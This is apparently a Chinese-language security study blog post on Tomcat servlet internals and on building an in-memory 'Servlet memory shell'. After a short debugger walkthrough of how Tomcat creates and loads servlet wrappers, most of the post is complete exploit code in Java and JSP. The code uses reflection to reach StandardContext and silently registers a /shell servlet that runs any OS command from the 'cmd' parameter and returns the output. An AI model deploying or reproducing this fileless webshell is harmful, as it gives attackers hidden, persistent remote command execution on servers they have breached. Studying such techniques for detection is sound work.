Servlet执行流程
通过继承HttpServlet
类可以实现一个Servlet
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| package org.e4stjun.servlets;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void service(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
resp.getWriter().write("Hello World");
}
}
|
要分析Servlet的创建流程的话首先得在init()
函数处下断点,这个函数会在每个Servlet
被创建的时候执行。
然后回溯Servlet
创建的流程:
然后在loadServlet()
这个函数中找到了这一段:
那我得康康这个servletClass
是怎么来的:
于是在setServletClass()
这里下断点,再次访问的时候在前面的configureContext()
函数里看到了wrapper
的创建过程:
也就是调用context.createWrapper()
创建wrapper
,设置好一些属性之后调用context.addChild(wrapper)
将wrapper
添加进context
中
而在创建完成之后wrapper
的执行流程中,主要检测loadOnStartup
不小于0才会对wrapper
进行加载:
也就是说在手动构造创建wrapper
时必须将loadOnStartup
参数设置为不小于0的值才能加载wrapper
。
Servlet内存马构造思路
首先得获取context
:
1
2
3
4
5
6
7
| ServletContext servletContext = req.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
然后定义一个Servlet
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| Servlet servlet = new HttpServlet() {
@Override
public void service(ServletRequest req, ServletResponse res)
throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
res.getWriter().write(output);
}catch (Exception e){
e.printStackTrace();
}
}
}
};
|
创建wrapper
:
1
2
3
4
5
6
| String name = servlet.getClass().getName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(servlet);
wrapper.setServletClass(name);
|
加入context
1
2
| standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
|
Servlet内存马实现
完整的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/addServlet")
public class AddServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
try{
ServletContext servletContext = req.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Servlet servlet = new HttpServlet() {
@Override
public void service(ServletRequest req, ServletResponse res)
throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
res.getWriter().write(output);
}catch (Exception e){
e.printStackTrace();
}
}
}
};
String name = servlet.getClass().getName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(servlet);
wrapper.setServletClass(name);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
resp.getWriter().write("added Servlet");
}catch (Exception ignore){}
}
}
|
jsp版本:
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
class Cmd_Servlet extends HttpServlet {
@Override
public void service(ServletRequest req, ServletResponse res)
throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
res.getWriter().write(output);
}catch (Exception e){
e.printStackTrace();
}
}
}
};
%>
<%
try {
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Servlet servlet = new HttpServlet() {
@Override
public void service(ServletRequest req, ServletResponse res)
throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
res.getWriter().write(output);
}catch (Exception e){
e.printStackTrace();
}
}
}
};
String name = servlet.getClass().getName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(servlet);
wrapper.setServletClass(name);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
response.getWriter().write("added Servlet");
}catch (Exception ignore){}
%>
Referer
Java安全学习——内存马
Java Servlet型内存马